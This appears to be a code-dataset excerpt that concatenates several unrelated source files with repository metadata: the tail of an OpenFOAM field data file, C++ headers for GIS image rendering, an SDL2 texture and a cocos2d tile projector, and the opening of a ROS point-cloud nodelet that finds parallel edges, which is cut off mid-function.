0.429173 0.429189 0.431052 0.441582 0.47089 0.506563 0.517046 0.517784 0.509193 0.486518 0.468341 0.455641 0.44776 0.442347 0.438379 0.435408 0.433198 0.431728 0.431125 0.4331 0.441307 0.46352 0.4761 0.47644 0.476145 0.438896 0.430806 0.429605 0.429177 0.429173 0.429179 0.430041 0.439709 0.474871 0.518864 0.534298 0.529619 0.517794 0.508062 0.500043 0.479762 0.463952 0.453597 0.446484 0.441252 0.437348 0.434391 0.432208 0.430901 0.430877 0.434715 0.448352 0.471271 0.47615 0.476207 0.456606 0.430394 0.429392 0.429174 0.429174 0.429234 0.436559 0.466699 0.530871 0.54644 0.534333 0.525904 0.514658 0.509851 0.504219 0.48376 0.469254 0.45888 0.450986 0.444642 0.439808 0.436113 0.433264 0.431257 0.430423 0.431386 0.438108 0.457382 0.476197 0.476138 0.476024 0.429974 0.429219 0.429175 0.429211 0.433777 0.456372 0.518703 0.562641 0.550954 0.530943 0.519736 0.51467 0.51526 0.504943 0.483441 0.469373 0.461135 0.454448 0.447947 0.442494 0.438186 0.434777 0.432117 0.430396 0.430234 0.432917 0.443529 0.466196 0.476228 0.476116 0.429557 0.429189 0.429199 0.431914 0.44894 0.50009 0.562689 0.562598 0.547569 0.526888 0.519976 0.518157 0.5185 0.502818 0.479515 0.466811 0.460183 0.455208 0.449979 0.44467 0.440153 0.436454 0.433384 0.431047 0.430215 0.430649 0.435706 0.450759 0.472651 0.47599 0.429194 0.429214 0.431113 0.443523 0.487986 0.5502 0.567615 0.562192 0.54271 0.528201 0.523735 0.52458 0.518701 0.491909 0.468969 0.460875 0.457387 0.454617 0.450584 0.44582 0.441433 0.437777 0.434677 0.432031 0.430191 0.430089 0.43197 0.440053 0.461284 0.475888 0.429213 0.43114 0.440341 0.470373 0.544376 0.577221 0.567645 0.558132 0.543133 0.53212 0.529066 0.527654 0.506094 0.471985 0.458697 0.456631 0.45592 0.4551 0.451984 0.44716 0.442343 0.438555 0.435544 0.432987 0.430876 0.430077 0.430305 0.434213 0.447842 0.475846 0.431446 0.439415 0.460764 0.51959 0.576207 0.577335 0.565007 0.553351 0.543682 0.535838 0.532244 0.516711 0.478776 0.458273 0.457332 0.457306 0.458099 0.460117 0.457913 0.452327 0.444817 0.439656 0.436142 0.433592 0.431545 0.430057 0.429996 0.43118 0.438847 0.465928 0.438934 0.456905 0.478892 0.564875 0.584048 0.5771 0.557908 0.548163 0.544234 0.537413 0.522834 0.486803 0.45903 0.458174 0.458155 0.461974 0.465268 0.47165 0.470351 0.467323 0.453445 0.443216 0.437477 0.434126 0.431971 0.430469 0.429972 0.430018 0.43443 0.45179 0.453303 0.474348 0.497238 0.572366 0.584048 0.572389 0.55134 0.545278 0.54244 0.528622 0.493916 0.46189 0.459006 0.45901 0.464014 0.471141 0.477194 0.487438 0.483413 0.48146 0.475718 0.453337 0.441504 0.435533 0.432412 0.430704 0.429989 0.429982 0.432415 0.44267 0.465747 0.471236 0.505722 0.561716 0.584028 0.570376 0.552279 0.542539 0.529923 0.500716 0.46694 0.460593 0.460608 0.467164 0.47709 0.48903 0.493483 0.501193 0.491273 0.488592 0.507919 0.474182 0.451276 0.43949 0.433712 0.430989 0.429964 0.429992 0.431339 0.437743 0.461718 0.463827 0.496244 0.549146 0.584043 0.573357 0.553826 0.533271 0.50332 0.473318 0.460579 0.460755 0.471078 0.48054 0.494657 0.509939 0.511896 0.508195 0.491649 0.49579 0.508129 0.500146 0.467376 0.448291 0.437258 0.43206 0.43 0.429973 0.430617 0.434659 0.460489 0.46767 0.479686 0.546418 0.583774 0.574485 0.54765 0.511197 0.478574 0.463409 0.459462 0.462892 0.477821 0.495079 0.508882 0.515128 0.515131 0.50577 0.489715 0.496908 0.508262 0.508147 0.482306 0.461129 0.444381 0.434988 0.430572 0.429993 0.430142 0.432546 0.460495 0.479218 0.478113 0.540416 0.576624 0.566463 0.526229 0.485978 0.466541 0.459579 0.456584 0.458256 0.469596 0.49073 0.507548 0.513854 0.51042 0.496823 0.487656 0.492884 0.508167 0.506395 0.487014 0.467061 0.453334 0.440415 0.432844 0.429981 0.429998 0.431067 0.465907 0.488724 0.478116 0.530022 0.55989 0.543294 0.498099 0.471227 0.46214 0.457155 0.453326 0.451491 0.454453 0.467778 0.485566 0.497494 0.500078 0.489177 0.487632 0.487995 0.504545 0.503792 0.486092 0.469694 0.460457 0.448174 0.437621 0.431001 0.43 0.430096 0.496319 0.499677 0.488431 0.522748 0.53783 0.512919 0.478002 0.464766 0.459622 0.455766 0.45245 0.449123 0.447447 0.448975 0.457066 0.467957 0.477351 0.480232 0.485092 0.499776 0.512555 0.505453 0.491706 0.480698 0.472653 0.459259 0.446462 0.436071 0.430698 0.430096 0.510914 0.520828 0.519836 0.522837 0.516493 0.487838 0.467929 0.461593 0.458256 0.455587 0.452997 0.450162 0.447458 0.446017 0.445963 0.449126 0.455255 0.463495 0.479186 0.519914 0.533282 0.529312 0.520898 0.515172 0.504217 0.480543 0.459857 0.446123 0.435945 0.430714 0.498236 0.522275 0.533381 0.523677 0.497909 0.473483 0.463933 0.460431 0.458301 0.45629 0.454711 0.452758 0.449904 0.447591 0.44588 0.44547 0.445421 0.448318 0.463348 0.507769 0.544711 0.56252 0.56425 0.56334 0.551077 0.520607 0.476716 0.459815 0.446545 0.435958 0.481632 0.51323 0.533381 0.519594 0.483848 0.467604 0.463187 0.460777 0.459607 0.458588 0.457833 0.456561 0.45449 0.451801 0.448498 0.446027 0.445119 0.445085 0.446602 0.473432 0.527306 0.561394 0.575163 0.575013 0.575331 0.563535 0.509374 0.470438 0.460245 0.44486 0.485619 0.501076 0.529163 0.50791 0.476565 0.466657 0.463779 0.462714 0.462731 0.46233 0.4619 0.461145 0.460122 0.458792 0.456452 0.456184 0.451016 0.445131 0.445086 0.447417 0.480918 0.532836 0.566266 0.575269 0.575034 0.57528 0.550814 0.484911 0.469984 0.455499 0.496091 0.499509 0.509656 0.489797 0.472854 0.467111 0.46598 0.466439 0.466774 0.466447 0.466173 0.466597 0.467613 0.470478 0.472971 0.48406 0.482193 0.45629 0.445199 0.445208 0.449248 0.480804 0.529387 0.564606 0.575255 0.575016 0.575028 0.517554 0.478333 0.465706 0.495844 0.488808 0.479906 0.475592 0.471703 0.468893 0.469507 0.470478 0.470323 0.469761 0.469958 0.472384 0.475865 0.483834 0.492928 0.502814 0.503253 0.496575 0.458195 0.446073 0.446095 0.451318 0.478787 0.524444 0.561745 0.575204 0.574984 0.54984 0.493024 0.474906 0.491771 0.469334 0.471963 0.473497 0.472682 0.471848 0.472939 0.473561 0.472912 0.472352 0.473443 0.478005 0.482487 0.491236 0.502176 0.503157 0.503075 0.503168 0.49145 0.45602 0.447134 0.44749 0.453803 0.477264 0.519464 0.558115 0.573821 0.564318 0.513367 0.484979 0.474278 0.469266 0.479262 0.473551 0.474719 0.474624 0.475691 0.475919 0.475108 0.474757 0.477163 0.48387 0.487961 0.490535 0.498885 0.502821 0.503169 0.503068 0.503144 0.478326 0.453723 0.448397 0.449658 0.456681 0.477822 0.517481 0.554623 0.564057 0.534997 0.494578 0.465318 0.470018 0.487597 0.473597 0.475935 0.477013 0.47883 0.47821 0.477182 0.477094 0.481364 0.486762 0.487842 0.48468 0.491453 0.4971 0.503053 0.503164 0.502645 0.495056 0.466406 0.453086 0.450002 0.452117 0.460056 0.481817 0.521201 0.556173 0.556786 0.525471 0.467496 0.505801 0.503928 0.476522 0.476101 0.480116 0.480245 0.480244 0.47727 0.477212 0.48289 0.486696 0.485722 0.480871 0.487858 0.488802 0.496524 0.499457 0.495609 0.493216 0.477649 0.46321 0.452616 0.452136 0.454601 0.464105 0.489999 0.534049 0.57285 0.588783 0.502883 0.61176 0.571937 0.501567 0.478365 0.479512 0.47854 0.478501 0.47458 0.473488 0.479682 0.485854 0.483368 0.480855 0.486823 0.48969 0.493465 0.497527 0.496447 0.490802 0.481776 0.469497 0.454978 0.45204 0.45331 0.45741 0.468596 0.504147 0.564869 0.601126 0.676941 0.777209 0.713485 0.617625 0.532015 0.500703 0.480456 0.47387 0.469509 0.469501 0.469505 0.473292 0.476063 0.477587 0.47878 0.488171 0.497949 0.510961 0.51248 0.484731 0.471773 0.465858 0.457579 0.451972 0.453474 0.457991 0.459053 0.475797 0.526579 0.601126 0.886219 0.917807 0.862288 0.79713 0.687458 0.619839 0.558687 0.528182 0.495496 0.470164 0.469516 0.48389 0.486512 0.483826 0.480086 0.494562 0.52073 0.551229 0.551784 0.512086 0.507223 0.506231 0.515787 0.452714 0.45725 0.461651 0.461411 0.462506 0.486156 0.601123 0.978048 0.980584 0.948852 0.907646 0.851576 0.80664 0.745796 0.70937 0.656581 0.586178 0.555013 0.597314 0.594302 0.589128 0.599756 0.634183 0.670046 0.706781 0.717888 0.698388 0.697319 0.716112 0.785323 0.676282 0.501829 0.474148 0.477191 0.465232 0.476396 0.546663 0.994843 0.994565 0.983442 0.953788 0.932253 0.920597 0.895563 0.882504 0.854956 0.803603 0.770713 0.809865 0.808636 0.816832 0.847021 0.880225 0.899339 0.917363 0.930476 0.932364 0.92871 0.939654 0.971188 0.911625 0.704042 0.613268 0.573931 0.492688 0.476617 0.485018 0.996539 0.996511 0.994483 0.98262 0.970174 0.965688 0.959987 0.959525 0.954003 0.943168 0.936741 0.953091 0.955365 0.964299 0.977714 0.986689 0.990388 0.993202 0.995379 0.996025 0.995506 0.996474 0.998373 0.977515 0.831306 0.631024 0.555389 0.57437 0.584658 0.682586 0.996889 0.99702 0.996933 0.995272 0.991771 0.989468 0.9885 0.989221 0.989344 0.990396 0.991772 0.99477 0.995714 0.997517 0.998962 0.999563 0.999746 0.999846 0.999903 0.99991 0.999874 0.999814 0.999621 0.997723 0.983549 0.956381 0.951301 0.861606 0.794394 0.887608 0.997105 0.997303 0.997512 0.997531 0.997291 0.997093 0.997259 0.997773 0.998302 0.998991 0.999447 0.999713 0.999821 0.999916 0.999959 0.999975 0.999981 0.999984 0.999985 0.999981 0.999963 0.999907 0.999742 0.999326 0.99844 0.997425 0.99653 0.990517 0.972121 0.980988 0.997293 0.9975 0.997761 0.997978 0.998146 0.998337 0.99863 0.999034 0.999427 0.999708 0.999861 0.999934 0.999965 0.999977 0.999983 0.999987 0.99999 0.999992 0.999993 0.999991 0.99998 0.99994 0.999813 0.999488 0.998931 0.998352 0.997811 0.996875 0.995213 0.994755 0.997455 0.997647 0.997911 0.998169 0.998403 0.99864 0.998923 0.999267 0.999588 0.999798 0.999906 0.999956 0.999978 0.999986 0.999989 0.999992 0.999994 0.999996 0.999997 0.999996 0.999989 0.999962 0.999862 0.999582 0.999095 0.998571 0.998097 0.997509 0.99662 0.995867 0.997593 0.997767 0.99802 0.998285 0.99854 0.998789 0.999064 0.999377 0.999663 0.999845 0.999932 0.99997 0.999985 0.999991 0.999993 0.999995 0.999997 0.999998 0.999998 0.999998 0.999994 0.999975 0.999895 0.999655 0.999216 0.99872 0.998266 0.997758 0.997058 0.996458 0.997713 0.997873 0.998112 0.998372 0.998629 0.998883 0.999156 0.999453 0.999717 0.99988 0.999952 0.99998 0.999991 0.999995 0.999996 0.999997 0.999998 0.999999 0.999999 0.999999 0.999997 0.999983 0.999918 0.999714 0.99932 0.998849 0.998401 0.997924 0.997312 0.996804 0.99782 0.99797 0.998197 0.998446 0.998698 0.998951 0.999222 0.99951 0.999759 0.999906 0.999966 0.999987 0.999994 0.999997 0.999998 0.999998 0.999999 0.999999 1 1 0.999998 0.999988 0.999936 0.999762 0.999411 0.998962 0.998523 0.998082 0.997552 0.997102 0.997918 0.998061 0.998279 0.998518 0.998759 0.999009 0.999277 0.999559 0.999795 0.999926 0.999976 0.999991 0.999996 0.999998 0.999999 0.999999 0.999999 1 1 1 0.999999 0.999991 0.999948 0.9998 0.999489 0.999066 0.998634 0.998222 0.99777 0.997376 0.998009 0.998148 0.998358 0.998587 0.998819 0.999062 0.999328 0.999603 0.999826 0.999943 0.999983 0.999994 0.999998 0.999999 0.999999 0.999999 1 1 1 1 0.999999 0.999993 0.999957 0.99983 0.999556 0.99916 0.998737 0.998343 0.997954 0.997622 0.998095 0.99823 0.998434 0.998654 0.998878 0.999115 0.999377 0.999647 0.999855 0.999957 0.999988 0.999996 0.999999 0.999999 1 1 1 1 1 1 1 0.999995 0.999964 0.999854 0.999611 0.999245 0.998834 0.998453 0.998112 0.997839 0.998176 0.998309 0.998508 0.99872 0.998937 0.999169 0.999428 0.999689 0.999882 0.999968 0.999992 0.999997 0.999999 1 1 1 1 1 1 1 1 0.999996 0.99997 0.999874 0.999658 0.99932 0.998924 0.998552 0.998243 0.998022 0.998254 0.998385 0.998578 0.998784 0.998995 0.999224 0.999479 0.999731 0.999906 0.999977 0.999994 0.999998 0.999999 1 1 1 1 1 1 1 1 0.999997 0.999974 0.99989 0.999697 0.999388 0.99901 0.998643 0.998351 0.99817 0.998329 0.998458 0.998646 0.998846 0.999054 0.999281 0.999532 0.999772 0.999927 0.999984 0.999996 0.999999 1 1 1 1 1 1 1 1 1 0.999997 0.999978 0.999905 0.999732 0.999448 0.999091 0.99873 0.998444 0.998286 0.998401 0.998528 0.998712 0.998908 0.999113 0.999338 0.999584 0.999811 0.999946 0.999989 0.999998 0.999999 1 1 1 1 1 1 1 1 1 0.999998 0.999982 0.999919 0.999764 0.999504 0.999168 0.998817 0.998529 0.998377 0.99847 0.998595 0.998775 0.998968 0.999172 0.999395 0.999637 0.999847 0.99996 0.999993 0.999998 1 1 1 1 1 1 1 1 1 1 0.999998 0.999986 0.999932 0.999794 0.999555 0.999242 0.998904 0.998613 0.998456 0.998537 0.99866 0.998837 0.999028 0.99923 0.999452 0.999687 0.999879 0.999972 0.999995 0.999999 1 1 1 1 1 1 1 1 1 1 0.999999 0.999989 0.999944 0.999822 0.999604 0.999311 0.998989 0.998701 0.998535 0.998602 0.998722 0.998897 0.999086 0.999288 0.999509 0.999736 0.999907 0.999981 0.999997 0.999999 1 1 1 1 1 1 1 1 1 1 0.999999 0.999992 0.999955 0.999849 0.99965 0.999375 0.999072 0.998793 0.998621 0.998664 0.998782 0.998955 0.999144 0.999346 0.999565 0.999782 0.999931 0.999987 0.999998 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999994 0.999965 0.999875 0.999694 0.999435 0.999149 0.998886 0.998717 0.998725 0.998841 0.999012 0.9992 0.999402 0.99962 0.999823 0.99995 0.999992 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999996 0.999974 0.999898 0.999736 0.999493 0.99922 0.998975 0.998818 0.998784 0.998899 0.999069 0.999256 0.999458 0.999672 0.99986 0.999965 0.999995 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999997 0.999981 0.99992 0.999776 0.999549 0.999287 0.999056 0.998915 0.998842 0.998955 0.999123 0.999311 0.999513 0.999722 0.999893 0.999976 0.999997 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.999986 0.999938 0.999815 0.999604 0.99935 0.999128 0.999002 0.998899 0.99901 0.999177 0.999365 0.999567 0.999769 0.999919 0.999984 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999991 0.999954 0.999851 0.999659 0.999413 0.999195 0.999076 0.998954 0.999064 0.999231 0.999419 0.999619 0.999812 0.999941 0.99999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999994 0.999967 0.999883 0.999713 0.999477 0.999258 0.999141 0.999008 0.999117 0.999283 0.999471 0.99967 0.99985 0.999959 0.999994 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999996 0.999977 0.999911 0.999764 0.999543 0.999324 0.999202 0.999062 0.999169 0.999335 0.999524 0.999719 0.999884 0.999972 0.999996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.999985 0.999935 0.999812 0.999611 0.999394 0.999266 0.999115 0.999221 0.999387 0.999575 0.999765 0.999913 0.999981 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.99999 0.999954 0.999855 0.999677 0.999469 0.999337 0.999168 0.999273 0.999438 0.999625 0.999807 0.999936 0.999988 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999994 0.999969 0.999892 0.99974 0.999547 0.999417 0.99922 0.999324 0.999489 0.999674 0.999846 0.999955 0.999993 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999997 0.99998 0.999924 0.9998 0.999628 0.999504 0.999271 0.999375 0.99954 0.999722 0.999881 0.999969 0.999996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.999988 0.999949 0.999853 0.999707 0.999595 0.999323 0.999426 0.99959 0.999768 0.99991 0.99998 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999993 0.999968 0.999898 0.999783 0.999687 0.999375 0.999477 0.999641 0.99981 0.999935 0.999988 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999996 0.999981 0.999934 0.99985 0.999775 0.999427 0.999529 0.99969 0.99985 0.999954 0.999993 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.99999 0.999961 0.999905 0.999852 0.99948 0.999582 0.999738 0.999885 0.999969 0.999996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999995 0.999979 0.999946 0.999912 0.999533 0.999634 0.999785 0.999915 0.99998 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.99999 0.999973 0.999954 0.999588 0.999687 0.999828 0.999939 0.999988 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999996 0.999988 0.999979 0.999644 0.999739 0.999868 0.999959 0.999993 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999995 0.999992 0.999699 0.999789 0.999903 0.999974 0.999996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999997 0.999755 0.999837 0.999932 0.999984 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.99981 0.999881 0.999955 0.999991 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999861 0.999918 0.999972 0.999995 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999906 0.999948 0.999984 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999943 0.99997 0.999992 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.99997 0.999985 0.999996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999986 0.999993 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999995 0.999998 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 ) ; boundaryField { inlet { type zeroGradient; } outlet { type zeroGradient; } walls { type zeroGradient; } frontAndBackPlanes { type empty; } } // ************************************************************************* //
485030522b99500ce23109b9342959cd25555495
2ca2c76888197194d3116ed9e229e21e8f1f0034
/LDFToPicture.h
3c28f82743d94da1f115573613d7c368af917c58
[]
no_license
Strongc/LDFProcess-
fc34e9bf36e0d90d86b7a91e734d463946749110
ab7651cf6134b1cbb1411beb2054dc39b7b1d0de
refs/heads/master
2020-05-29T11:35:09.245501
2015-04-11T15:30:09
2015-04-11T15:30:09
null
0
0
null
null
null
null
GB18030
C++
false
false
2,007
h
LDFToPicture.h
#pragma once #include "./Lib/LDF.h" #include "./lib/IProvider.h" #include "./Lib/Core.h" using namespace UltraGIS; class LDFToPicture { public: LDFToPicture(); ~LDFToPicture(); int setLDF(LDF& ldf); int setTIFF(LDF& ldf,float *KValue); //int setMEAN(LDF& ldf,float *Mean); int Render(CDC* pDC, CRect rc = CRect(0, 0, 0, 0)); int Renderlegend(CDC* pDC, CRect rc = CRect(0, 0, 0, 0)); void DrawMap_arg(IProvider * pProvider,Gdiplus::Color Color_arg,int pen_width,int exception); void GeoToMap(const shp::Point * geoPts, POINT * pts, int count); void GeoToMap(double geoX, double geoY, POINT * pt); void MapToGeo(int x, int y, Point2D * geoPoint); void Free(); Gdiplus::Bitmap* m_pImage; CSize GetImageSize() const; int LDF2Bmp(LDF& ldf); int calColor(); void setRange(int Channel,double min, double max,int fontsize); void setColor(std::vector<Gdiplus::Color>& colorTab); int Save(CString filepath); BOOL createImage();//LDF& ldf); Gdiplus::Color strechColor(float val); int drawedge(LDF& ldf); int LDFToPicture::draw_StatisticArea(LDF& ldf,IProvider * pProvider,int style,COLORREF col,float Lon,float Lat,float Width,float Height); double m_dmin; double m_dmax; double m_dMinLon; double m_dMaxLon; double m_dMinLat; double m_dMaxLat; double m_dratioX; double m_dratioY; Point2D m_origin; // 视窗原点(视窗左上角的经纬度) int m_Width_top;//图例:处边框宽度(右、上、无经纬度处及下)//绘图时,在其他类里会依据字体修改白色条型外边框的宽度 int m_Width_bottom; int m_Width_left;//图例:左侧外边界宽度(因有经纬度)//绘图时,在其他类里会依据字体修改白色条型外边框的宽度 int m_Width_right; int m_fontsize;//图例:经纬度字体大小 int m_step;//图例:经纬度间隔 int m_fontsize_palette;//调色板图例:字体大小 int m_nSample; int m_nLine; int m_Channel;//待计算通道 float * m_pData; std::vector<Gdiplus::Color> m_aColorTab; };
100985f68a42edb110f7e0b519d5a9723ed00135
be57cf9d8c4ae12cd7440dfef735541f7303a234
/src/Texture.h
dd8fccde43c59769eb61a93f0dbb9e9f5cd990b6
[]
no_license
7182514362/gobang
6cb753777fff08ec83b678c581e0cc57782a830b
74260f37427171ad995de04492407d23d6fce4d1
refs/heads/main
2023-04-10T19:54:45.566334
2021-04-19T10:07:42
2021-04-19T10:07:42
359,385,304
0
0
null
null
null
null
UTF-8
C++
false
false
516
h
Texture.h
#ifndef TEXTURE_H #define TEXTURE_H #include <SDL2/SDL.h> #include <SDL2/SDL_image.h> struct Rotation { double angle; SDL_Point center; }; class Texture { public: SDL_Texture *mTexture; SDL_Renderer *mRenderer; int w, h; unsigned char alpha; Uint32 colorKey; SDL_Rect srcRect; SDL_Rect dstRect; Rotation rotation; Texture(SDL_Renderer *); Texture() = delete; ~Texture(); void loadFromFile(const char *path); void setAlpha(unsigned char); }; #endif
b12d535ffdd3929619fdac291d0ead7edeb3069a
b3a38f3d4913401f0b5ca707d06f6691a0c7c636
/Classes/Tiled/TiledProjector.h
7a2a6c54356ba438b1c85fcba7440180b426c134
[ "MIT" ]
permissive
ilyagolota/chips
c7f906ef47862699c9dbbfe71cf3177ecba27ba3
e8f567626b26eb10feac61b84a75dbfc682689b1
refs/heads/master
2021-04-09T16:19:03.804063
2018-02-12T10:14:56
2018-02-12T10:14:56
59,484,723
0
0
null
null
null
null
UTF-8
C++
false
false
1,037
h
TiledProjector.h
#ifndef _CHIPS_CHALLENGE_TILED_PROJECTOR_H_ #define _CHIPS_CHALLENGE_TILED_PROJECTOR_H_ #include <cocos2d.h> #include <vector> #include "Direction.h" class TiledPhysicsWorld; class TiledProjector : public cocos2d::Ref { private: static const int UNKNOWN_DEPTH; cocos2d::Size _tileSize; cocos2d::Size _mapSize; int _tileDepth; std::vector<int> _zOrderMap; TiledPhysicsWorld* _physicsWorld; public: static TiledProjector* create(const cocos2d::Size& tileSize, const cocos2d::Size& mapSize, int tileDepth, TiledPhysicsWorld* physicsWorld); TiledProjector(const cocos2d::Size& tileSize, const cocos2d::Size& mapSize, int tileDepth, TiledPhysicsWorld* physicsWorld); ~TiledProjector(); cocos2d::Size getMapSize() const; cocos2d::Size getTileSize() const; void clear(); cocos2d::Vec2 coordinateToPoint(const cocos2d::Vec2& coordinate); int coordinateToZOrder(const cocos2d::Vec2& coordinate); cocos2d::Vec2 pointToCoordinate(const cocos2d::Vec2& point); }; #endif
87b0f3c2bb82f04bf588d5f0df821b2192338872
7a914f1d1e7a4b4d9757145cac8376bf1f7099d4
/jsk_recognition/jsk_pcl_ros/src/parallel_edge_finder_nodelet.cpp
9306f15e40150aa2152f31afb40ae3d799b19271
[ "Apache-2.0" ]
permissive
usdot-fhwa-stol/autoware.ai
eed15471180f92900413b1a20213263b40acdb3f
35c2be547269f2843de2ad907cec85abcf598577
refs/heads/carma-develop
2023-08-14T07:59:11.546253
2023-08-01T20:51:01
2023-08-01T20:51:01
186,024,768
2
12
Apache-2.0
2023-08-01T20:51:02
2019-05-10T17:03:33
C++
UTF-8
C++
false
false
8,727
cpp
parallel_edge_finder_nodelet.cpp
// -*- mode: c++ -*- /********************************************************************* * Software License Agreement (BSD License) * * Copyright (c) 2014, JSK Lab * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/o2r other materials provided * with the distribution. * * Neither the name of the JSK Lab nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. *********************************************************************/ #include "jsk_pcl_ros/parallel_edge_finder.h" #include "jsk_recognition_utils/pcl_util.h" #include <jsk_recognition_msgs/ParallelEdgeArray.h> namespace jsk_pcl_ros { void ParallelEdgeFinder::onInit() { ConnectionBasedNodelet::onInit(); //////////////////////////////////////////////////////// // publishers //////////////////////////////////////////////////////// pub_ = advertise<jsk_recognition_msgs::ParallelEdgeArray>(*pnh_, "output_edges_groups", 1); pub_clusters_ = advertise<jsk_recognition_msgs::ClusterPointIndices>(*pnh_, "output_clusters", 1); //////////////////////////////////////////////////////// // dynamic reconfigure //////////////////////////////////////////////////////// srv_ = boost::make_shared <dynamic_reconfigure::Server<Config> > (*pnh_); dynamic_reconfigure::Server<Config>::CallbackType f = boost::bind (&ParallelEdgeFinder::configCallback, this, _1, _2); srv_->setCallback (f); onInitPostProcess(); } void ParallelEdgeFinder::subscribe() { //////////////////////////////////////////////////////// // subscription //////////////////////////////////////////////////////// sub_indices_.subscribe(*pnh_, "input_indices", 1); sub_coefficients_.subscribe(*pnh_, "input_coefficients", 1); sync_ = boost::make_shared<message_filters::Synchronizer<SyncPolicy> >(100); sync_->connectInput(sub_indices_, sub_coefficients_); sync_->registerCallback(boost::bind(&ParallelEdgeFinder::estimate, this, _1, _2)); } void ParallelEdgeFinder::unsubscribe() { sub_indices_.unsubscribe(); sub_coefficients_.unsubscribe(); } void ParallelEdgeFinder::configCallback( Config &config, uint32_t level) { boost::mutex::scoped_lock lock(mutex_); angle_threshold_ = config.angular_threshold; } void ParallelEdgeFinder::estimate( const jsk_recognition_msgs::ClusterPointIndices::ConstPtr& input_indices, const jsk_recognition_msgs::ModelCoefficientsArray::ConstPtr& input_coefficients) { boost::mutex::scoped_lock lock(mutex_); //////////////////////////////////////////////////////// // first, build Line instances //////////////////////////////////////////////////////// std::vector<jsk_recognition_utils::Line::Ptr> lines; if (input_coefficients->coefficients.size() == 0) { return; } for (size_t i = 0; i < input_coefficients->coefficients.size(); i++) { std::vector<float> the_coefficients = input_coefficients->coefficients[i].values; 